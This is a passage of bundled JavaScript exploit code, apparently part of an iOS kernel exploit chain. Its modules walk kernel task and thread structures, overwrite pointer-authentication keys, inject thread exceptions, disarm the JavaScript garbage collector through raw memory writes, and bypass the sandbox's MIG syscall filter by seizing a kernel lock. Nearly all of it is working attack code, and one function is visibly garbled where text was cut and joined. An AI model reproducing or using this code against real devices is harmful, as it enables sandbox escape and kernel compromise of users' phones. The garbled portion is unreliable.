this.#getSpaceTable(this.gSelfTask.addr);\n\t\treturn this.#getPortObject(spaceTable, port);\n\t}\n\n\tstatic getPortKObject(port)\n\t{\n\t\tlet portObject = this.getPortAddr(port);\n\t\treturn this.#getPortKObjectByAddr(portObject);\n\t}\n\n\tstatic #getPortKObjectByAddr(portObject)\n\t{\n\t\tif (!portObject)\n\t\t\treturn 0;\n\t\tlet kobject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(portObject + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().objectKObject);\n\t\treturn libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(kobject);\n\t}\n\n\tstatic firstThread(taskAddr)\n\t{\n\t\tlet first = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().threads);\n\t\treturn first;\n\t}\n\n\tstatic getMap(taskAddr)\n\t{\n\t\tlet vmMap = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().mapTask);\n\t\treturn vmMap;\n\t}\n\n\tstatic getPortKObjectOfTask(taskAddr,port)\n\t{\n\t\tlet portObject = this.getPortAddrOfTask(taskAddr, port);\n\t\treturn this.#getPortKObjectByAddr(portObject);\n\t}\n\n\tstatic getPortAddrOfTask(taskAddr, port)\n\t{\n\t\tlet spaceTable = this.#getSpaceTable(taskAddr);\n\t\treturn this.#getPortObject(spaceTable, port);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/TaskRop.js\":\n/*!*************************************!*\\\n !*** ./src/libs/TaskRop/TaskRop.js ***!\n \\*************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ TaskRop)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ \"./src/libs/TaskRop/Task.js\");\n\n\n\n\nconst TAG = \"TASKROP\"\n\nclass TaskRop\n{\n\tstatic init()\n\t{\n\t\tlet selfTaskAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].getSelfTaskAddr();\n\t\tif (!selfTaskAddr)\n\t\t{\n\t\t\tconsole.log(TAG,`Unable to find self task address`);\n\t\t\treturn;\n\t\t}\t\n\t\tconsole.log(TAG,`selfTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(selfTaskAddr)}`);\n\t\t_Task__WEBPACK_IMPORTED_MODULE_2__[\"default\"].init(selfTaskAddr);\n\t}\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/Thread.js\":\n/*!************************************!*\\\n !*** ./src/libs/TaskRop/Thread.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Thread)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ThreadState */ \"./src/libs/TaskRop/ThreadState.js\");\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\n\n\nconst AST_GUARD = 0x1000;\nconst TAG = \"THREAD\";\n\nclass Thread\n{\n\tstatic getTro(thread)\n\t{\n\t\tlet tro = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().tro);\n\t\t// Ignore threads with invalid tro address.\n\t\tif (!(tro & 0xf000000000000000n))\n\t\t{\n\t\t\t//console.log(TAG,`Got invalid tro of thread:${Utils.hex(thread)} and value:${Utils.hex(tro)}`);\n\t\t\treturn 0n;\n\t\t}\n\t\treturn tro;\n\t}\n\tstatic getCtid(thread)\n\t{\n\t\tlet ctid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ctid);\n\t\treturn ctid;\n\t}\n\tstatic getTask(thread)\n\t{\n\t\tlet tro = this.getTro(thread);\n\t\t// Ignore threads with invalid tro address.\n\t\tif (!(tro & 0xf000000000000000n) || tro === 0n)\n\t\t\treturn 0n;\n\t\tlet task = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(tro + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().troTask);\n\t\treturn task;\n\t}\n\tstatic next(thread)\n\t{\n\t\tif (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].strip(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().taskThreads) < 0xffffffd000000000n)\n\t\t\treturn 0;\n\t\tlet next = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().taskThreads);\n\t\tif (next < 0xffffffd000000000n)\n\t\t\treturn 0;\n\t\treturn next;\n\t}\n\tstatic setMutex(thread,ctid)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().mutexData, ctid);\n\t}\n\tstatic getMutex(thread)\n\t{\n\t\tlet mutex = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().mutexData);\n\t\treturn mutex;\n\t}\n\tstatic getStack(thread)\n\t{\n\t\tlet stackptr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().kstackptr);\n\t\treturn stackptr;\n\t}\n\tstatic injectGuardException(thread,code)\n\t{\n\t\tif(!this.getTro(thread))\n\t\t{\n\t\t\tconsole.log(TAG,`got invalid tro of thread, not injecting exception since thread is dead`);\n\t\t\treturn false;\n\t\t}\n\n\t\t// 18.4+\n\t\tif (xnuVersion.major == 24 && xnuVersion.minor >= 4) {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0x17n);\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode + 0x8n, code);\n\t\t}\n\t\telse {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, code);\n\t\t}\n\n\t\tlet ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast);\n\t\tast |= AST_GUARD;\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast, ast);\n\t\treturn true;\n\t}\n\tstatic clearGuardException(thread)\n\t{\n\t\tif(!this.getTro(thread))\n\t\t{\n\t\t\tconsole.log(TAG,`got invalid tro of thread, still clearing exception to avoid crash`);\n\t\t}\n\t\tlet ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast);\n\t\tast &= ~AST_GUARD | 0x80000000;\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast, ast);\n\n\t\t// 18.4+\n\t\tif (xnuVersion.major == 24 && xnuVersion.minor >= 4) {\n\t\t\tif (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode) == 0x17n) {\n\t\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0n);\n\t\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode + 0x8n, 0n);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0n);\n\t\t}\n\t}\n\tstatic getOptions(thread)\n\t{\n\t\tlet options = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().options);\n\t\treturn options;\n\t}\n\tstatic setOptions(thread, options)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write16(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().options, options);\n\t}\n\tstatic getRopPid(thread)\n\t{\n\t\tlet ropPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ropPid);\n\t\treturn ropPid;\n\t}\n\tstatic getJopPid(thread)\n\t{\n\t\tlet jopPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().jopPid);\n\t\treturn jopPid;\n\t}\n\tstatic setPACKeys(thread, keyA, keyB)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ropPid, keyA);\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().jopPid, keyB);\n\t}\n\n\tstatic getState(machThread)\n\t{\n\t\tlet statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\tlet stateCountPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem + 0x200n;\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].write32(stateCountPtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_COUNT);\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_get_state\",\n\t\t\tmachThread,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64,\n\t\t\tstatePtr,\n\t\t\tstateCountPtr);\n\t\tif (kr != 0) {\n\t\t\tconsole.log(TAG, \"Unable to read thread state\");\n\t\t\treturn false;\n\t\t}\n\n\t\tlet stateBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].read(statePtr, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_SIZE);\n\t\tlet state = new _ThreadState__WEBPACK_IMPORTED_MODULE_2__[\"default\"](stateBuff);\n\t\treturn state;\n\t}\n\n\tstatic setState(machThread, threadAddr, state)\n\t{\n\t\tlet options = 0;\n\t\tif (threadAddr) {\n\t\t\toptions = Thread.getOptions(threadAddr);\n\t\t\toptions |= 0x8000;\n\t\t\tThread.setOptions(threadAddr, options);\n\t\t}\n\n\t\tlet statePtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].write(statePtr, state.buffer);\n\t\t//console.log(TAG,`thread:${Utils.hex(thread)}`);\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_set_state\",\n\t\t\tmachThread,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64,\n\t\t\tstatePtr,\n\t\t\tlibs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].ARM_THREAD_STATE64_COUNT);\n\t\tif (kr != 0)\n\t\t{\n\t\t\tconsole.log(TAG,`Failed thread_set_state with error:${kr}`);\n\t\t\treturn false;\n\t\t}\n\n\t\tif (threadAddr) {\n\t\t\toptions &= ~0x8000;\n\t\t\tThread.setOptions(threadAddr, options);\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic resume(machThread)\n\t{\n\t\tlet kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].callSymbol(\"thread_resume\", machThread);\n\t\tif (kr != 0) {\n\t\t\tconsole.log(TAG, \"Unable to resume suspended thread\");\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/ThreadState.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/TaskRop/ThreadState.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ ThreadState)\n/* harmony export */ });\n/* harmony import */ var _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./RegistersStruct */ \"./src/libs/TaskRop/RegistersStruct.js\");\n\n\nclass ThreadState\n{\n\t#buffer;\n\t#dataView;\n\tconstructor(buffer, offset = 0)\n\t{\n\t\tthis.#buffer = buffer;\n\t\tthis.#dataView = new DataView(buffer,offset);\n\t\tthis.registers = new _RegistersStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"](buffer,offset);\n\t}\n\tget buffer()\n\t{\n\t\treturn this.#buffer;\n\t}\n\tget opaque_fp()\n\t{\n\t\treturn this.#dataView.getBigUint64(232,true);\n\t}\n\tset opaque_fp(value)\n\t{\n\t\tthis.#dataView.setBigUint64(232,value,true);\n\t}\n\tget opaque_lr()\n\t{\n\t\treturn this.#dataView.getBigUint64(240,true);\n\t}\n\tset opaque_lr(value)\n\t{\n\t\tthis.#dataView.setBigUint64(240,value,true);\n\t}\n\tget opaque_sp()\n\t{\n\t\treturn this.#dataView.getBigUint64(248,true);\n\t}\n\tset opaque_sp(value)\n\t{\n\t\tthis.#dataView.setBigUint64(248,value,true);\n\t}\n\tget opaque_pc()\n\t{\n\t\treturn this.#dataView.getBigUint64(256,true);\n\t}\n\tset opaque_pc(value)\n\t{\n\t\tthis.#dataView.setBigUint64(256,value,true);\n\t}\n\tget cpsr()\n\t{\n\t\treturn this.#dataView.getUint32(264,true);\n\t}\n\tset cpsr(value)\n\t{\n\t\tthis.#dataView.setUint32(264,value,true);\n\t}\n\tget opaque_flags()\n\t{\n\t\treturn this.#dataView.getUint32(268,true);\n\t}\n\tset opaque_flags(value)\n\t{\n\t\tthis.#dataView.setUint32(268,value,true);\n\t}\n}\n\n/***/ })\n\n/******/ \t});\n/************************************************************************/\n/******/ \t// The module cache\n/******/ \tvar __webpack_module_cache__ = {};\n/******/ \t\n/******/ \t// The require function\n/******/ \tfunction __webpack_require__(moduleId) {\n/******/ \t\t// Check if module is in cache\n/******/ \t\tvar cachedModule = __webpack_module_cache__[moduleId];\n/******/ \t\tif (cachedModule !== undefined) {\n/******/ \t\t\treturn cachedModule.exports;\n/******/ \t\t}\n/******/ \t\t// Create a new module (and put it into the cache)\n/******/ \t\tvar module = __webpack_module_cache__[moduleId] = {\n/******/ \t\t\t// no module.id needed\n/******/ \t\t\t// no module.loaded needed\n/******/ \t\t\texports: {}\n/******/ \t\t};\n/******/ \t\n/******/ \t\t// Execute the module function\n/******/ \t\t__webpack_modules__[moduleId](module, module.exports, __webpack_require__);\n/******/ \t\n/******/ \t\t// Return the exports of the module\n/******/ \t\treturn module.exports;\n/******/ \t}\n/******/ \t\n/************************************************************************/\n/******/ \t/* webpack/runtime/define property getters */\n/******/ \t(() => {\n/******/ \t\t// define getter functions for harmony exports\n/******/ \t\t__webpack_require__.d = (exports, definition) => {\n/******/ \t\t\tfor(var key in definition) {\n/******/ \t\t\t\tif(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {\n/******/ \t\t\t\t\tObject.defineProperty(exports, key, { enumerable: true, get: definition[key] });\n/******/ \t\t\t\t}\n/******/ \t\t\t}\n/******/ \t\t};\n/******/ \t})();\n/******/ \t\n/******/ \t/* webpack/runtime/hasOwnProperty shorthand */\n/******/ \t(() => {\n/******/ \t\t__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))\n/******/ \t})();\n/******/ \t\n/******/ \t/* webpack/runtime/make namespace object */\n/******/ \t(() => {\n/******/ \t\t// define __esModule on exports\n/******/ \t\t__webpack_require__.r = (exports) => {\n/******/ \t\t\tif(typeof Symbol !== 'undefined' && Symbol.toStringTag) {\n/******/ \t\t\t\tObject.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });\n/******/ \t\t\t}\n/******/ \t\t\tObject.defineProperty(exports, '__esModule', { value: true });\n/******/ \t\t};\n/******/ \t})();\n/******/ \t\n/************************************************************************/\nvar __webpack_exports__ = {};\n// This entry needs to be wrapped in an IIFE because it needs to be isolated against other modules in the chunk.\n(() => {\n/*!**************************************!*\\\n !*** ./src/MigFilterBypassThread.js ***!\n \\**************************************/\n__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/TaskRop/Task */ \"./src/libs/TaskRop/Task.js\");\n/* harmony import */ var libs_TaskRop_Thread__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/TaskRop/Thread */ \"./src/libs/TaskRop/Thread.js\");\n/* harmony import */ var libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/TaskRop/TaskRop */ \"./src/libs/TaskRop/TaskRop.js\");\n/* harmony import */ var libs_JSUtils_Logger__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/JSUtils/Logger */ \"./src/libs/JSUtils/Logger.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Driver_DriverNewThread__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! libs/Driver/DriverNewThread */ \"./src/libs/Driver/DriverNewThread.js\");\n\n\n\n\n\n\n\n\n\nconst TAG = \"MIG_FILTER_BYPASS\";\n\nconst RUN_FLAG_STOP = 0;\nconst RUN_FLAG_RUN = 1;\nconst RUN_FLAG_PAUSE = 2;\n\nfunction disarm_gc() {\n\n\tlet vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n);\n\tlet heap = vm + 0xc0n;\n\tlet m_threadGroup = uread64(heap + 0x198n);\n\tlet threads = uread64(m_threadGroup);\n\tuwrite64(threads + 0x20n, 0x0n);\n\t// LOG(\"[+] gc disarmed\");\n}\n\nfunction kstrip(addr) {\n\treturn addr | 0xffffff8000000000n;\n}\n\nfunction lockSandboxLock() {\n\t// Find \"_duplicate_lock\" address, which is a \"lck_rw_t\"\n\tconst lockAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migLock;\n\tconst sbxMessageAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migSbxMsg;\n\n\t//console.log(TAG, \"kernelSlide: \" + Utils.hex(kernelSlide));\n\t//console.log(TAG, \"lockAddr: \" + Utils.hex(lockAddr));\n\t//console.log(TAG, \"sbxMessageAddr: \" + Utils.hex(sbxMessageAddr));\n\n\tlet lockBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].readBuff(lockAddr, 16);\n\tlet lockBuff32 = new Uint32Array(lockBuff);\n\t//for (let i=0, j=0; i<16; i+=4, j++)\n\t//\tconsole.log(TAG, `${Utils.hex(i)}: ${Utils.hex(lockBuff32[j]).padStart(8, '0')}`);\n\n\tlet lockData = lockBuff32[2];\n\tlockData |= 0x410000;\t// interlock + can_sleep\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write32(lockAddr + 0x8n, lockData);\n\n\t// Do we need to clear this addr while locking too? Or maybe just when we unlock is enough?\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write64(sbxMessageAddr, 0n);\n}\n\nfunction unlockSandboxLock() {\n\tconst lockAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migLock;\n\tconst sbxMessageAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].getKernelBase() + migSbxMsg;\n\n\t\n\t// clear the sbx message buffer (pointer) used to check for duplicate messages.\n\t// This should solve an issue with sfree() if we unlock and lock sandbox quick enough.\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write64(sbxMessageAddr, 0n);\n\n\tlet lockBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].readBuff(lockAddr, 16);\n\tlet lockBuff32 = new Uint32Array(lockBuff);\n\n\tlet lockData = lockBuff32[2];\n\tlockData &= ~0x10000;\t// interlock\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].write32(lockAddr + 0x8n, lockData);\n}\n\nfunction dumpKMem(addr, size) {\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].read(addr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].mem, size);\n\tlet buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].mem, size);\n\tlet buff64 = new BigUint64Array(buff);\n\tfor (let i=0, j=0; i= timeout)) {\n\t\t\tconsole.log(TAG, \"Timeout waiting for a syscall\");\n\t\t\tbreak;\n\t\t}\n\n\t\tlet filterTriggered = false;\n\t\tlet monitorThread1 = monitorThread1Ptr ? libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(monitorThread1Ptr) : false;\n\t\tlet monitorThread2 = monitorThread2Ptr ? libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(monitorThread2Ptr) : false;\n\n\t\tif (monitorThread1 && monitorThread2) {\n\t\t\t//console.log(TAG, \"check monitored threads\");\n\t\t\tfilterTriggered |= disableFilterOnThread(monitorThread1);\n\t\t\tfilterTriggered |= disableFilterOnThread(monitorThread2);\n\t\t}\n\t\telse {\n\t\t\t//console.log(TAG, \"Waiting for monitored threads...\");\n\t\t}\n\t\t\n\t\tif (filterTriggered)\n\t\t\tbreak;\n\n\t\t//console.log(TAG, \"No MIG syscall detected\");\n\n\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"usleep\", 50000);\n\t}\n\t//console.log(TAG, \"MIG syscall intercepted!\");\n\treturn RUN_FLAG_RUN;\n}\n\nfunction startFilterBypass(runBypassFlagPtr) {\n\tlet run = RUN_FLAG_PAUSE;\n\n\tlet selfTaskAddr = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_2__[\"default\"].gSelfTask.addr;\n\n\twhile (run) {\n\t\tif (run == RUN_FLAG_PAUSE) {\n\t\t\tconsole.log(TAG, \"Pausing filter bypass\");\n\t\t\twhile (true) {\n\t\t\t\trun = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(runBypassFlagPtr);\n\t\t\t\tif (run != RUN_FLAG_PAUSE) {\n\t\t\t\t\tif (run == RUN_FLAG_RUN)\n\t\t\t\t\t\tconsole.log(TAG, \"Resuming filter bypass\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t}\n\n\t\t//console.log(TAG, \"Locking sandbox...\");\n\t\tlockSandboxLock();\n\t\t//console.log(TAG, \"Sandbox locked\");\n\n\t\trun = waitForMigSyscall(selfTaskAddr, runBypassFlagPtr, 5000);\n\n\t\tunlockSandboxLock();\n\t\t//console.log(TAG, \"Sandbox unlocked\");\n\n\t\tif (run)\n\t\t\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].callSymbol(\"sched_yield\");\n\t}\n}\n\ndisarm_gc();\n\n// Register log function\n//globalThis.LOG_POST_TO_FILE = false;\nconsole.log = libs_JSUtils_Logger__WEBPACK_IMPORTED_MODULE_5__[\"default\"].log;\n\nconsole.log(TAG, \"Thread initialized!\");\n\nlet kernelControlPtr = thread_arg;\nlet kernelRWPtr = thread_arg + 0x8n;\nlet kernelBasePtr = thread_arg + 0x10n;\nlet mainThreadAddrPtr = thread_arg + 0x18n;\nlet runBypassFlagPtr = thread_arg + 0x20n;\nlet isRunningPtr = thread_arg + 0x28n;\nlet mutexPtr = thread_arg + 0x30n;\nlet migLockPtr = thread_arg + 0x38n;\nlet migSbxMsgPtr = thread_arg + 0x40n;\nlet migKernelStackLRPtr = thread_arg + 0x48n;\nlet monitorThread1Ptr = thread_arg + 0x50n;\nlet monitorThread2Ptr = thread_arg + 0x58n;\n\nlet kernelControl = uread64(kernelControlPtr);\nlet kernelRW = uread64(kernelRWPtr);\nlet kernelBase = uread64(kernelBasePtr);\nlet mainThreadAddr = uread64(mainThreadAddrPtr);\nrunBypassFlagPtr = uread64(runBypassFlagPtr);\nisRunningPtr = uread64(isRunningPtr);\nlet mutex = uread64(mutexPtr);\nlet migLock = uread64(migLockPtr);\nlet migSbxMsg = uread64(migSbxMsgPtr);\nlet migKernelStackLR = uread64(migKernelStackLRPtr);\nmonitorThread1Ptr = uread64(monitorThread1Ptr);\nmonitorThread2Ptr = uread64(monitorThread2Ptr);\n\nconsole.log(TAG, \"kernelControl: \" + kernelControl);\nconsole.log(TAG, \"kernelRW: \" + kernelRW);\nconsole.log(TAG, \"kernelBase: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(kernelBase));\nconsole.log(TAG, \"mainThreadAddr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(mainThreadAddr));\nconsole.log(TAG, \"runBypassFlagPtr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(runBypassFlagPtr));\nconsole.log(TAG, \"isRunningPtr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(isRunningPtr));\nconsole.log(TAG, \"mutex: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(mutex));\nconsole.log(TAG, \"migLock: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migLock));\nconsole.log(TAG, \"migSbxMsg: \" + 